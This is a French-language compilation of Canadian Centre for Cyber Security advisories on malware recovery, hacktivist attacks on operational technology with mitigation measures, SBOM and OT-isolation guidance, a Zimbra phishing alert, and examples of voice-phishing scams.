• Réinitialiser tous les mots de passe associés à l’appareil, révoquer toutes les sessions actives et tous les jetons d’accès, puis réactiver l’authentification multifacteur (AMF) afin d’empêcher l’utilisation abusive de justificatifs d’identité volés.

Surveillance après incident

• Reconnecter l’appareil au réseau seulement après avoir réinstallé le système d’exploitation et confirmé, au moyen d’analyses de maliciels, que l’appareil n’est plus infecté.
• Continuer de surveiller l’appareil afin de détecter tout comportement inhabituel, trafic suspect ou nouvel avertissement.
• Effectuer des analyses antivirus périodiques pour s’assurer que tous les maliciels ont été supprimés de l’appareil.

Conseils pour se protéger contre les maliciels

La sécurité en ligne va au-delà des bonnes habitudes; elle exige l’adoption consciente et proactive de pratiques exemplaires en cybersécurité. Les menaces liées aux maliciels continuent d’évoluer et visent aussi bien les appareils personnels que les systèmes d’entreprise. En suivant des pratiques exemplaires, comme les 10 meilleures mesures de sécurité des TI, et en utilisant des outils de protection fiables, on peut réduire considérablement son risque de compromission. Les conseils qui suivent présentent les mesures les plus efficaces à prendre pour renforcer les capacités de défense et protéger les renseignements, les appareils et les comptes.

Authentification et protection de l’identité

• Activer les clés d’accès ou l’AMF résistante à l’hameçonnage pour tous les comptes, en choisissant des méthodes d’authentification adaptées au niveau de sensibilité du compte et au niveau de risque.
• Utiliser un gestionnaire de mots de passe pour générer et stocker des mots de passe longs et uniques.
• Accorder uniquement les accès utilisateur et administrateur nécessaires à l’exercice des fonctions, et retirer régulièrement les autorisations qui ne sont plus requises.

Renforcement de la sécurité des appareils et des systèmes

• Installer aussitôt que possible les mises à jour des logiciels, des micrologiciels et du système d’exploitation.
• Déployer des outils antivirus, antimaliciel et de détection et intervention sur les terminaux.
• Utiliser un pare-feu pour bloquer et limiter les accès non autorisés au réseau.
• Activer les fonctions de chiffrement de disque ou de fichier.
• Utiliser des systèmes de détection d’intrusion sur l’hôte, dans la mesure du possible.
• Établir une liste d’applications autorisées pour empêcher l’exécution d’applications non autorisées.
• Désactiver les fonctions sans fil, comme le Wi‑Fi, le Bluetooth, le GPS et la communication en champ proche, lorsqu’elles ne sont pas utilisées.

Sécurité des réseaux et d’Internet

• Éviter d’utiliser les réseaux Wi‑Fi publics. Si cela s’avère nécessaire, utiliser un réseau privé virtuel.
• Prendre des mesures de protection antihameçonnage et s’assurer que les systèmes de courriel sont conformes au protocole DMARC (Domain-based Message Authentication, Reporting and Conformance).
• Utiliser un bloqueur de publicité pour réduire les risques liés aux publicités malveillantes, ou un bloqueur de fenêtre publicitaire pour limiter la collecte de renseignements sur les activités de navigation.
• Vérifier les fichiers, les liens et les pièces jointes avant de les télécharger ou de les ouvrir.
• Offrir régulièrement des séances de formation et de sensibilisation à la sécurité afin d’accroître la capacité à reconnaître les courriels d’hameçonnage, les liens malveillants, les faux sites Web et les tentatives de piratage psychologique.
• Encourager le signalement rapide des courriels d’hameçonnage ou des maliciels soupçonnés afin de réduire les risques de propagation et les conséquences qui en découlent.
• Recourir à un système d’adressage par domaine de protection pour bloquer l’accès à des domaines malveillants ou suspects.
• Surveiller l’utilisation des données sur les appareils afin de repérer toute activité suspecte ou inhabituelle.

Sauvegarde et protection des données

• Suivre la règle 3-2-1 pour la sauvegarde : trois copies, deux types de support, une copie hors site.
• Chiffrer les données sensibles stockées dans les sauvegardes.

Contrôles à vérification systématique et d’entreprise

• Mettre en œuvre l’architecture à vérification systématique.
• Utiliser des outils de détection des menaces à l’identité et d’intervention.
• Renforcer la sécurité de la chaîne d’approvisionnement et surveiller les risques liés aux tiers.

Pour en savoir plus

• Guide sur les rançongiciels (ITSM.00.099)
• Reconnaître les courriels malveillants (ITSAP.00.100)
• Application des mises à jour sur les dispositifs (ITSAP.10.096)
• Pratiques exemplaires de création de phrases de passe et de mots de passe (ITSAP.30.032)
• Conseils de sécurité sur les gestionnaires de mots de passe (ITSAP.30.025)
• Système d’adressage par domaine de protection (ITSAP.40.019)
• Les outils de sécurité préventive (ITSAP.00.058)
• Ne mordez pas à l’hameçon : Reconnaître et prévenir les attaques par hameçonnage (ITSAP.00.101)

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) continue de constater que des auteurs de cybermenace non étatiques ciblent ou tentent de perturber les systèmes de technologie opérationnelle (TO) vulnérables et exposés à Internet au Canada. Ces auteurs de menaces utilisent souvent les activités de cybermenace pour intimider ou forcer leur cible à influencer l'opinion publique ou la prise de décisions au gouvernement en lien avec les événements internationaux.

On estime que les activités non étatiques contre le Canada augmentent fort probablement dans le contexte d'événements, tels que les déclarations publiques et les annonces de politiques par le Canada, que ces auteurs de menace estiment aller à l'encontre de leurs objectifs idéologiques, de même que dans le contexte d'événements importants, comme les sommets diplomatiques ou les grandes manifestations sportives internationales, ce qui accroît la visibilité et les répercussions de leurs activités. Toutefois, on considère que des auteurs non étatiques balaient probablement continuellement les systèmes canadiens pour trouver des vulnérabilités et qu'ils pourraient mener des activités de cybermenace perturbatrices ou destructrices à tout moment.

Si certains auteurs de menace non étatiques semblent recevoir le soutien d'auteurs étatiques, on croit que la plupart des activités de cybermenace non étatiques visant les systèmes de TO canadiens sont presque certainement planifiées et exécutées de façon indépendante. Les relations entre les auteurs étatiques et non étatiques sont souvent ponctuelles avec un degré de connexion variable dans le temps. Ce faisant, les activités des auteurs non étatiques qui s'alignent sur les intérêts d'États ne doivent pas nécessairement être interprétées comme une représentation des intérêts ou des politiques d'un État à l'endroit du Canada.

Tactiques, techniques et procédures

Un nombre croissant d'auteurs non étatiques ciblent les systèmes de TO connectés à Internet, en vue de causer des effets perturbateurs ou destructeurs. Ceux-ci ont généralement des moyens techniques peu ou moyennement sophistiqués, mais s'avèrent efficaces en raison d'une hygiène faible d'exposition et de l'accès à distance non sécurisé dans les environnements de TO.

En octobre 2025 seulement, il y a eu plusieurs incidents d'auteurs non étatiques s'en prenant aux systèmes de TO au Canada, notamment :

• un cas pro-Russie de compromission d'un système municipal d'alimentation en eau par la manipulation des contrôles des valves de pression d'eau, ce qui a entraîné des répercussions mineures sur la prestation des services d'eau;
• un cas pro-Hamas d'accès à un circuit de jaugeage d'un réservoir de carburant situé dans un aéroport. L'auteur a été en mesure de consulter l'information sur le système, mais n'a pas eu la possibilité d'en manipuler les contrôles;
• un cas pro-Russie d'accès au système de contrôle d'un silo-séchoir à grains. L'auteur de menace a manipulé la température et le niveau d'humidité du silo, mais il n'y a eu aucun dommage.

Ces activités utilisent fréquemment des outils de balayage publics pour détecter les TO connectées à Internet et exploitent des outils d'accès à distance désuets ou mal configurés, comme le protocole d'informatique virtuelle en réseau (VNC pour virtual network computing), des mots de passe faibles ou par défaut ou encore des systèmes qui ne demandent pas l'authentification multifacteur.

Une fois entrés dans ces systèmes, les auteurs non étatiques tentent de les perturber en défigurant les interfaces de système, en changeant la configuration et en manipulant les contrôles de système. Il peut alors y avoir des perturbations opérationnelles, des dysfonctionnements des systèmes d'exploitation et des dommages physiques aux systèmes. Dans certains cas, les activités peuvent créer des conditions dangereuses qui affectent les opérateurs ou la sécurité publique.

Les TTP de TO des auteurs non étatiques associées à MITRE ATT&CK pour les systèmes de contrôle industriels

T0888 – Découverte de système à distance

Balayage sur tout l'Internet pour détecter les systèmes de TO et les services d'accès à distance vulnérables

T0866 – Comptes valides

Exploitation des services d'accès à distance accessible sur Internet au moyen de justificatifs d'identité faibles, réutilisés ou par défaut (p. ex. VNC, bureau à distance, portails de maintien des fournisseurs)

T0886 – Services distants

Utilisation de services distants légitimes pour accéder aux environnements de TO

T0856 – Identification des dispositifs de contrôle

Interaction directe avec les interfaces humain-machine (IHM), ingénierie des stations de travail ou interfaces des systèmes de contrôle

T0831 – Manipulation des contrôles
T0809 – Modification des tâches de contrôle

Manipulation des configurations de système des TO et des valeurs prédéterminées (p. ex. pression, température, alarmes)

Perspective

Le contexte de cybermenace auquel sont confrontés les exploitants de biens de TI et de TO se détériore. Bien que le Canada ait évité jusqu'à présent un incident majeur lié aux TO, l'exposition croissante aux menaces, combinée au déploiement de TO vulnérables et à l'augmentation de la capacité et des intentions des auteurs de menace à l'égard de ces systèmes, accroît le risque que de futurs incidents soient bien plus graves.

Les auteurs de cybermenace continuent d'adapter leurs activités en fonction des événements géopolitiques, des progrès technologiques et des efforts d'atténuation des responsables de la défense. Il est possible d'utiliser les outils d'intelligence artificielle (IA), qui s'améliorent rapidement et qui deviennent de plus en plus accessibles, en appui aux activités de cybermenace Ces outils permettent à des auteurs de cybermenace peu sophistiqués de mener des attaques complexes et perturbatrices visant des systèmes de TO.

La cybermenace dans le présent bulletin peut largement être atténuée par la sensibilisation et la mise en œuvre de pratiques exemplaires en matière de cybersécurité. Le Centre pour la cybersécurité encourage les propriétaires de systèmes de TI et de TO à se mettre en œuvre les conseils d'atténuation suivants.

Mesures d'atténuation

Le Centre pour la cybersécurité recommande que les organisations du secteur des infrastructures essentielles mettent en œuvre les mesures d'atténuation suivantes pour établir des mesures de cyberdéfense robustes contre les auteurs de cybermenace non étatiques. Chacune des mesures d'atténuation est liée aux objectifs relatifs à l'état de préparation en matière de cybersécurité (OEPC), qui sont des pratiques de base que peuvent prendre les organisations pour améliorer leur posture de cybersécurité. Vous trouverez d'autres détails sur chacun des objectifs dans la boîte à outils des objectifs intersectoriels relatifs à l'état de préparation en matière de cybersécurité.

Principale mesure d'atténuation

La mesure de défense la plus efficace contre cette menace est de retirer la connexion des systèmes de TO à l'Internet et l'établissement d'une frontière stricte qui est surveillée et contrôlée entre les réseaux de TI et de TO. Bon nombre des mesures de contrôle supplémentaires suivantes sont des mesures compensatoires qui ne suffisent pas à elles seules si les systèmes de TO sont toujours accessibles par Internet.

Établir et protéger les limites des TO et isoler les accès administratifs

Segmentation réseau (OEPC 2.5)

• Elle réduit la probabilité que des auteurs de menace accèdent au réseau de TO après avoir compromis le réseau de TI.
• Toutes les connexions au réseau de TO sont refusées par défaut à moins qu'elles aient été explicitement autorisées (par exemple, pour une adresse IP et un port particuliers) à des fins de fonctionnement du système. Les voies de communication nécessaires entre les réseaux de TI et de TO doivent passer par un intermédiaire, tel qu'un pare-feu configuré adéquatement, un hôte bastion, un serveur intermédiaire ou une zone démilitarisée, qui est surveillé étroitement, saisit les journaux réseau et autorise seulement les connexions de biens approuvés.
• Il faut noter que la segmentation peut briser ou perturber les processus et les services, car les environnements de TO sont souvent « plats ». La segmentation devrait être faite si possible en suivant des processus contrôlés.

Connexion interdite de dispositifs non autorisés (OEPC 2.17)

• Appliquer des politiques et des processus pour veiller à ce que le matériel et les supports non autorisés ne soient pas connectés aux biens de TO, par exemple en limitant l'utilisation de dispositifs USB et de supports amovibles, ou en désactivant le lancement automatique.
• Établir des procédures pour retirer, désactiver ou sécuriser les ports physiques dans les environnements de TO de façon à empêcher la connexion de dispositifs non autorisés, ou établir des procédures pour accorder l'accès au moyen d'exceptions approuvées.

Limitation des connexions de TO à un réseau Internet public (OEPC 2.18)

• S'assurer qu'aucun bien de TO n'est connecté à l'Internet public, à moins que la connexion soit explicitement requise pour le fonctionnement.
• Il faut que les exceptions soient justifiées et consignées et que les biens exemptés aient des mesures de protections supplémentaires pour empêcher et détecter les tentatives d'exploitation. Par exemple, la journalisation, l'authentification multifacteur (AMF), l'accès obligatoire par serveur mandataire ou d'autres intermédiaires.

Aucun service exploitable sur Internet (OEPC 2.20)

• S'assurer que les biens dans l'Internet public n'exposent aucun service exploitable, tel que le protocole RDP. Lorsque ces services doivent être exposés, mettre en œuvre des contrôles compensatoires appropriés pour prévenir les formes courantes d'abus et d'exploitation. Désactiver tous les protocoles réseau et toutes les applications de système d'exploitation qui ne sont pas nécessaires sur les biens connectés à Internet.

Poste de travail administratif sécurisé (SAW pour secure administrator workstation) (OEPC 2.21)

• Fournir des SAW aux administratrices et administrateurs pour réaliser leurs tâches administratives. Créer des SAW sécurisés et renforcés en mettant en œuvre les mesures suivantes :
  • isoler les SAW du réseau de TI public et, le cas échéant, du plan de données;
  • désactiver la capacité d'installer d'autres logiciels;
  • limiter l'accès à Internet ou aux services de courriel;
  • pour l'administration du nuage à partir de cette station de travail dédiée, il convient d'utiliser un RPV ou des listes d'applications autorisées pour accéder à l'architecture du nuage.

Mettre en place des contrôles d'accès robustes

Changement des mots de passe par défaut (OEPC 2.0)

• Appliquer un processus ou une politique à l'échelle de l'organisation qui exige que les mots de passe par défaut du fabricant soient changés pour tout le matériel, tous les logiciels et tous les micrologiciels avant de les intégrer à un réseau interne ou externe. Cette mesure s'applique entre autres aux biens de TI pour les TO, comme les pages Web d'administration des TO. Cette mesure doit être prise en consultation avec les fournisseurs pour obtenir leurs conseils ou respecter leur processus approuvé.
• Mettre en place une stratégie exigeant de modifier les justificatifs d'identité par défaut de tous les appareils, tant nouveaux que futurs. Cette stratégie réduit les possibles risques dans l'avenir si les TTP des adversaires changent et demande moins de travail que de changer les mots de passe par défaut sur les TO existantes de l'organisation.

Longueur minimale des mots de passe (OEPC 2.1)

• Mettre en œuvre une stratégie appliquée par le système qui exige un mot de passe d'une longueur minimale de 15 caractères pour tous les biens de TO, si c'est possible sur le plan technique.
• La priorité doit être accordée aux biens de TO qui utilisent un mécanisme centralisé d'authentification (comme Active Directory). Des exemples de biens de TO à faible risque pour lesquels ces mesures ne sont peut-être pas possibles sur le plan technique comprennent ceux dans des emplacements éloignés, tels que des éoliennes ou des plateformes de forage pétrolier en mer.

Justificatifs d'identité uniques (OEPC 2.2)

• Fournir des justificatifs d'identité uniques et distincts pour des services similaires et l'accès aux biens sur les réseaux de TO.
• Veiller à ce que les utilisatrices et utilisateurs ne puissent pas réutiliser des mots de passe pour les comptes, les applications, les services, etc.
• Exiger que les comptes de services et de machines aient des mots de passe uniques pour chaque compte d'utilisateur.

Séparation des comptes d'utilisateur et privilégiés (OEPC 2.4)

• Les comptes d'utilisateur n'ont pas toujours des privilèges d'administrateur ou de superutilisateur. Les administratrices et administrateurs ont des comptes d'utilisateur séparés pour réaliser les activités qui ne sont pas liées au rôle d'administrateur (comme le courrier électronique et la navigation Web).
• Réévaluer les privilèges à un intervalle régulier pour vérifier que les différents ensembles d'autorisations sont toujours nécessaires.

Authentification multifacteur (AMF) résistante à l'hameçonnage (OEPC 2.7)

• Dans les environnements de TO, activer l'AMF pour tous les comptes et systèmes auxquels il est possible d'accéder à distance, y compris les comptes de fournisseurs ou de maintenance, les postes de travail d'ingénierie et d'utilisateur accessibles à distance et les interfaces homme-machine accessibles à distance.

Comprendre et réduire l'exposition

Répertoire des biens et topologie de réseau (OEPC 1.0)

• Tenir un répertoire de tous les biens dans les réseaux de TI (y compris IPv6) et de TO de l'organisation (le cas échéant) et le mettre à jour régulièrement.
• Inclure dans le répertoire des documents fiables sur la topologie de réseau et sur les biens de données identifiés, plus particulièrement l'information sensible ou classifiée.
• Mettre à jour le répertoire régulièrement pour les TI et les TO, et ajouter immédiatement au répertoire tout nouveau bien qui est intégré à l'infrastructure de l'organisation.

Atténuation des vulnérabilités connues (OEPC 1.1)

• Dans un délai proportionnel aux risques, corriger toutes les vulnérabilités exploitées connues (qui figurent dans le catalogue Known Exploited Vulnerabilities Catalog de la CISA) dans les systèmes connectés à Internet, en priorisant les biens essentiels. Trouver des vulnérabilités de sécurité dans vos systèmes en réalisant des tests de pénétration et en utilisant des outils automatisés d'analyse des vulnérabilités. Ces activités font partie d'une stratégie complète de gestion des vulnérabilités.
• Pour les biens auxquels il est impossible d'appliquer les correctifs nécessaires ou dont l'application de correctifs risquerait de compromettre considérablement la disponibilité ou la sécurité, appliquer des contrôles compensatoires (comme la segmentation ou la surveillance) et les consigner. Les contrôles adéquats rendent le bien inaccessible par Internet ou réduisent la capacité des auteurs de menace d'exploiter les vulnérabilités de ces biens.
• Sélectionner minutieusement des outils automatisés de détection des vulnérabilités aux fins d'analyse rigoureuse des systèmes. Ces outils peuvent provoquer un comportement erratique des dispositifs, entraîner l'arrêt, une panne ou un redémarrage de ceux-ci, ou nécessiter une intervention manuelle pour retourner à un état opérationnel.

Améliorer la détection et l'intervention

Détection des tentatives infructueuses (automatisées) de connexion (OEPC 2.6)

• Journaliser toutes les tentatives infructueuses et les envoyer à l'équipe de sécurité ou au système de journalisation pertinent de l'organisation.
• Veiller à ce que les équipes de sécurité soient avisées (p. ex. au moyen d'une alerte) lorsque le nombre maximal de tentatives consécutives d'ouverture de session infructueuse a été atteint dans un délai très court (p. ex. cinq tentatives infructueuses en deux minutes). Journaliser et conserver ces alertes dans le système de demandes de service ou de sécurité pertinent aux fins d'analyse rétroactive.
• Pour les biens de TI, mettre en œuvre une stratégie appliquée par le système qui empêche les ouvertures de session futures provenant du compte suspect. Cette stratégie pourrait, par exemple, être mise en place pour une période minimale précise ou jusqu'à ce que le compte soit réactivé par une utilisatrice ou un utilisateur privilégié. Activer cette configuration sur un bien dans la mesure du possible. À titre d'exemple, Windows 11 peut verrouiller automatiquement les comptes pendant dix minutes à la suite de dix tentatives infructueuses d'ouverture de session dans un délai de dix minutes.

Collecte des journaux (OEPC 2.15)

• Recueillir et conserver les journaux pour les utiliser dans les activités de détection et d'intervention en cas d'incident (comme les enquêtes numériques), y compris les journaux suivants :
  • axés sur l'accès et la sécurité (comme les systèmes de détection et de prévention d'intrusion [SDI/SPI]);
  • pare-feu;
  • prévention de la perte de données (PPD);
  • réseaux privés virtuels (RPV).
• Les équipes de sécurité sont avisées lorsqu'une source de journaux essentielle est désactivée, comme la journalisation des événements Windows.
• Pour les biens de TO dont les journaux ne sont pas standards ou disponibles, recueillir le trafic réseau et les communications entre ces biens et d'autres biens.

Effectuer des évaluations des risques

Détecter les menaces pertinentes et les TTP (OEPC 3.0)

• Documenter une liste de menaces et de TTP des auteurs de cybermenace qui s'applique à l'organisation (par exemple, en fonction de l'industrie ou du secteur) et être capable de détecter ces principales menaces (par exemple, à l'aide de règles, d'alertes ou de systèmes commerciaux de détection et de prévention).

Les organisations devraient effectuer des auto-évaluations au moyen de la trousse à outils de l'OEPC pour cerner les lacunes et suivre les progrès.

Élaborer un plan d'intervention en cas d'incident.

Plan d'intervention en cas d'incident (OEPC 1.3)

• Élaborer, tenir, mettre à jour et mettre à l'essai régulièrement les plans d'intervention en cas d'incident de cybersécurité s'appliquant aux TO pour les TTP et les scénarios de menace courants et propres à l'organisation (par secteur ou par site, par exemple).
• Envisager de collaborer avec les parties prenantes appropriées pour mener des exercices de simulation axés sur les menaces émergentes et les attaques renforcées par l'intelligence artificielle.

Planification en cas d'incident et état de préparation (OEPC 5.0)

• Élaborer, tenir à jour et exécuter des plans visant à assurer la reprise et la restauration des activités et des systèmes ou biens essentiels à la mission qui pourraient avoir été touchés par un cyberincident.
• En cas de cyberincident, exécuter une analyse de l'incident après la reprise afin de déterminer les leçons retenues et d'empêcher de futurs incidents. Intégrer les leçons retenues aux améliorations apportées aux processus de gouvernance et/ou au plan d'intervention en cas d'incident.

Former le personnel et les fournisseurs

Formation relative à la cybersécurité de base et des TO (OEPC 2.8)

• Donner de la formation sur les concepts de base en matière de cybersécurité et de protection de la vie privée, tels que l'hameçonnage, les compromissions de courriel d'affaires, la sécurité opérationnelle de base, la sécurité des mots de passe et les atteintes à la vie privée, et promouvoir une culture interne de sécurité et de sensibilisation à la cybersécurité.
• S'assurer que les membres du personnel qui entretiennent ou sécurisent les TO dans le cadre de leurs tâches courantes reçoivent de la formation en matière de cybersécurité propre aux TO au moins tous les ans.

Conserver des sauvegardes

Sauvegardes et redondance de système (OEPC 2.14)

• Effectuer régulièrement des sauvegardes de tous les systèmes nécessaires aux opérations. Déterminer au cas par cas les systèmes qui doivent faire l'objet d'une sauvegarde et la fréquence précise à laquelle la sauvegarde doit être faite, car tous les systèmes auront différentes exigences en matière de sauvegarde et de récupération des données.
• Conserver les sauvegardes séparément des systèmes sources et effectuer des tests régulièrement au moins annuellement pour vérifier qu'elles sont utilisables.
• Veiller à ce que l'information conservée pour les biens de TO comprenne, au minimum :
  • les configurations;
  • les rôles;
  • les automates programmables industriels (API);
  • les dessins techniques;
  • les outils.

Ces mesures d'atténuation peuvent aider les organisations du secteur des infrastructures essentielles à empêcher l'exploitation des systèmes vulnérables par les auteurs de cybermenace non étatiques. On encourage les organisations possiblement confrontées à un cyberincident à communiquer avec le Centre pour la cybersécurité pour mettre en place des mesures d'atténuation et obtenir de l'aide afin de reprendre leurs activités.

Ressources

• Évaluation des cybermenaces nationales 2025-2026
• Bulletin sur les cybermenaces : Les cybermenaces visant les technologies opérationnelles
• Cybersecurity and Infrastructure Security Agency. Unsophisticated Cyber Actor(s) Targeting Operational Technology (en anglais seulement)
• Département de la Justice des États-Unis. Justice Department Announces Actions to Combat Two Russian State-Sponsored Cyber Criminal Hacking Groups (en anglais seulement)
• U.S. Cybersecurity and Infrastructure Security Agency.Known Exploited Vulnerabilities Catalog (en anglais seulement)

À propos du présent document

Ce cyberbulletin vise à sensibiliser les propriétaires de systèmes de technologies de l'information (TI) et de technologies opérationnelles (TO) et les exploitants, et invite toutes et tous les Canadiens à se méfier de cette menace. Il se base sur une alerte publiée par le Centre pour la cybersécurité le 29 octobre 2025, intitulée Abus de systèmes de contrôle industriels (SCI) accessibles depuis Internet par des hacktivistes, ainsi qu'un bulletin de cybersécurité conjoint sur les hacktivistes pro-Russie, rédigé par le Centre pour la cybersécurité et des partenaires internationaux en décembre 2025, afin de fournir plus de contexte et des conseils d'atténuation.

Veuillez communiquer toute question ou préoccupation au Centre pour la cybersécurité à contact@cyber.gc.ca.

Méthodologie et fondement de l'évaluation

Les avis énoncés dans le présent document reposent sur des rapports de différentes sources, à la fois classifiées et non classifiées. Ils sont fondés sur les connaissances et l'expertise du Centre pour la cybersécurité en matière de cybersécurité. Le rôle que joue le Centre pour la cybersécurité dans la protection des systèmes d'information du gouvernement du Canada lui confère une perspective unique pour observer les tendances dans le contexte de cybermenace, ce qui oriente aussi ses évaluations. Dans le cadre du volet touchant le renseignement étranger du mandat du Centre de la sécurité des télécommunications (CST), le Centre pour la cybersécurité accède à de l'information précieuse sur le comportement des adversaires dans le cyberespace. Bien qu'il soit toujours tenu de protéger les sources et méthodes classifiées, le Centre pour la cybersécurité fournira au lectorat, dans la mesure du possible, les justifications qui ont motivé ses avis.

Les avis du Centre pour la cybersécurité sont basés sur un processus d'analyse qui comprend l'évaluation de la qualité de l'information disponible, l'étude de différentes explications, l'atténuation des biais et l'usage d'un langage probabiliste. Le Centre pour la cybersécurité utilise des formulations telles que « nous évaluons que » ou « nous jugeons que » pour présenter une évaluation analytique. Des qualificatifs comme « possiblement », « probable » et « très probable » visent à exprimer les probabilités.

Les évaluations et analyses énoncées dans le présent document sont fondées sur des renseignements disponibles en date du 23 janvier 2026.

Le graphique ci-dessous propose une correspondance entre le lexique des estimations et une échelle de pourcentage appropriée. Ces nombres ne proviennent pas d’analyses statistiques, mais sont plutôt basés sur la logique, les renseignements disponibles, des avis antérieurs et des méthodes qui accroissent la précision des estimations.

Description detaillée - Lexique des estimations

• 1 à 9 % Probabilité presque nulle
• 10 à 24 % Probabilité très faible
• 25 à 39 % Probabilité faible
• 40 à 59 % Probabilité presque égale
• 60 à 74 % Probabilité élevée
• 75 à 89 % Probabilité très élevée
• 90 à 99 % Probabilité presque certaine

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) s’est joint à la Cybersecurity and Infrastructure Security Agency (CISA) des États-Unis et d’autres partenaires internationaux pour publier un bulletin sur les éléments de base d’une nomenclature logicielle.

Une nomenclature logicielle est un inventaire imbriqué des éléments qui constituent les applications logicielles et les systèmes informatiques. Les organisations qui produisent, acquièrent et exploitent des logiciels peuvent utiliser les données de nomenclature logicielle pour mieux comprendre leur chaîne d’approvisionnement des logiciels, relever les vulnérabilités et gérer les risques.

La présente publication met à jour et remplace le document 2021 Minimum Elements for a Software Bill of Materials (en anglais seulement) publié par la National Telecommunications and Information Administration des États-Unis. La liste révisée des éléments de base tient compte des progrès réalisés au chapitre de l’adoption d’une nomenclature logicielle, des outils et des usages tout en préservant les principes fondamentaux du cadre de 2021. Elle précise les technologies et pratiques essentielles que les nomenclatures logicielles devraient intégrer et concerne tous les logiciels, notamment les logiciels libres, les logiciels d’intelligence artificielle et les logiciels-services.

Les organisations qui développent, acquièrent et exploitent des logiciels doivent produire et demander des nomenclatures logicielles conformes aux champs de données minimaux attendus ainsi qu’aux pratiques et processus définis dans le présent bulletin.

Consultez la version intégrale du bulletin conjoint : 2026 Minimum Elements for a Software Bill of Materials (SBOM) (en anglais seulement)

Documents d’orientation connexes

• Conseils conjoints sur une vision partagée de la nomenclature logicielle pour la cybersécurité
• Protéger votre organisation contre les menaces de la chaîne d’approvisionnement des logiciels (ITSM.10.071)
• Considérations liées à la sécurité dans le cadre de l’utilisation de logiciels libres (ITSAP.10.059)

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) s’est joint à l’Australian Cyber Security Centre (ACSC) de l’Australian Signals Directorate (ASD) et aux partenaires internationaux suivants pour publier des conseils en matière de cybersécurité sur l’isolation de systèmes de technologie opérationnelle (TO) essentiels :

• le National Cyber Security Centre (NCSC-NZ) de la Nouvelle-Zélande;
• le National Cyber Security Centre (NCSC-UK) du Royaume-Uni;
• la Cybersecurity and Infrastructure Security Agency (CISA) des États-Unis;
• le Federal Bureau of Investigation (FBI) des États-Unis.

Des auteurs de cybermenace parrainés par un État ciblent les infrastructures essentielles (IE) afin de mener des activités d’espionnage et de se préparer à d’éventuelles cyberattaques. Les organisations d’infrastructures essentielles peuvent renforcer leur résilience face à l’escalade des cybermenaces en se préparant à isoler leurs systèmes essentiels de TO et leurs systèmes connexes de l’Internet et des autres réseaux pendant une période prolongée. Cette approche permet d’assurer la continuité des services essentiels, même en cas de compromission des réseaux organisationnels.

Ce guide conjoint favorise un passage d’une défense réactive à une résilience proactive, en s’appuyant sur l’isolation physique pour limiter l’accès des auteurs de menace et maintenir la continuité des opérations en situation de crise.

Il explique les étapes que doivent suivre les propriétaires et exploitants de TO ainsi que les équipes de cybersécurité pour isoler physiquement les systèmes essentiels de TO et les systèmes connexes de tous les autres réseaux. Il propose une approche claire et progressive pour mettre en place l’isolation :

• Déterminer les systèmes et les réseaux essentiels ainsi que les clients les plus importants
• Définir des niveaux communs de criticité et de confiance
• Identifier les connexions et les points où l’isolation peut être appliquée
• Mettre en place des points de séparation et d’isolation efficaces

Consultez la version intégrale de la publication : Advice for isolating vital systems (en anglais seulement)

Le Centre pour la cybersécurité invite les responsables des cyberopérations et la direction des secteurs des infrastructures essentielles au Canada à entreprendre le processus d’adhésion auprès de notre organisme à l’adresse suivante contact@cyber.gc.ca. Cette démarche permettra d’établir un point de contact simplifié pour recevoir des renseignements pertinents en matière de cybersécurité, ainsi que des conseils et du soutien.

Document d’orientation connexe

• ASD’s CI Fortify: Guidance for Australian critical infrastructure service continuity and resilience (en anglais seulement)
• CISA’s CI Fortify: Strengthening Resilience Across Critical Infrastructure (en anglais seulement)

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) se joint à la National Security Agency (NSA) des États-Unis et d’autres partenaires internationaux pour diffuser un bulletin de cybersécurité mettant en garde la population contre la campagne d’hameçonnage parrainée par la Russie qui cible les utilisatrices et utilisateurs de la Zimbra Collaboration suite (ZCS).

Le bulletin conjoint vise à avertir la population que des auteurs de menace parrainés par la Russie qui sont associés à un groupe de menace persistante avancée, appelé Laundry Bear, exploitent actuellement une vulnérabilité connue dans la messagerie Web Zimbra. Des comptes d’utilisateurs pourraient donc être compromis et des auteurs de menace pourraient accéder à de l’information sensible, dont des identifiants, des données d’authentification et le contenu de courriels.

Les organismes signataires du bulletin avertissent la population que cette activité témoigne des efforts constants que déploient des auteurs de menace parrainés par des États pour exploiter des vulnérabilités connues, tout en tirant de plus en plus profit de techniques sophistiquées pour éviter toute détection.

Afin d’atténuer les risques associés à cette activité, les organisations utilisant ZCS devraient immédiatement appliquer les correctifs de sécurité et les mises à jour disponibles aux systèmes de Zimbra et faire un suivi pour détecter toute activité inhabituelle sur les comptes.

Veuillez consulter le bulletin de cybersécurité intégral : Des auteurs de cybermenace parrainés par la Russie mènent une campagne d’hameçonnage qui cible les utilisatrices et utilisateurs de la Zimbra Collaboration Suite (PDF; en anglais seulement).

Exemples d’arnaques par hameçonnage vocal

L’objectif de l’hameçonnage vocal est de convaincre la victime de dévoiler des données confidentielles, comme un numéro d’identification personnel (NIP), son numéro d’assurance sociale, ses numéros de cartes de crédit ou les mots de passe de ses comptes. Les données servent à réaliser de la fraude d’identité, à effectuer des opérations financières non autorisées ou à obtenir accès à des comptes professionnels ou personnels. La liste ci-dessous donne quelques exemples communs d’hameçonnage vocal.

• Hameçonnage vocal aux fins de vol de justificatifs d’identité
  • Les hameçonneurs se servent de cette méthode pour mettre la main sur de l’information bancaire ou relative aux cartes de crédit. Ils vont employer les justificatifs compromis pour accéder aux comptes, prendre de l’argent ou faire des achats non autorisés.
• Personnification d’une ou un fonctionnaire
  • Les hameçonneurs se font faussement passer pour des fonctionnaires qui sont, le plus souvent, à l’emploi de ministères responsables des impôts et des finances personnelles. Ils sèment la peur chez les personnes visées et les convainquent qu’elles doivent payer divers frais, comme des impôts impayés, sinon elles risquent de subir des conséquences juridiques.
  • Ils se font aussi passer pour des membres des forces de l’ordre et demandent aux victimes de leur fournir des renseignements personnels qu’ils utiliseront à des fins de fraude d’identité.
• Extorsion commerciale
  • Se faisant passer pour la ou le chef d’entreprise ou PDG, les hameçonneurs convainquent la victime d’obtempérer à leur demande (débloquer des fonds, approuver les autorisations d’accès aux systèmes sensibles, etc.).
• Escroquerie par télémarketing
  • Les hameçonneurs personnifient des spécialistes du télémarketing ou des représentantes et représentants d’une entreprise et annoncent à la personne visée qu’elle a gagné un concours, mais qu’elle doit payer des frais de rachat ou fournir les informations de sa carte de crédit pour réserver son prix.
• Escroquerie du soutien technique
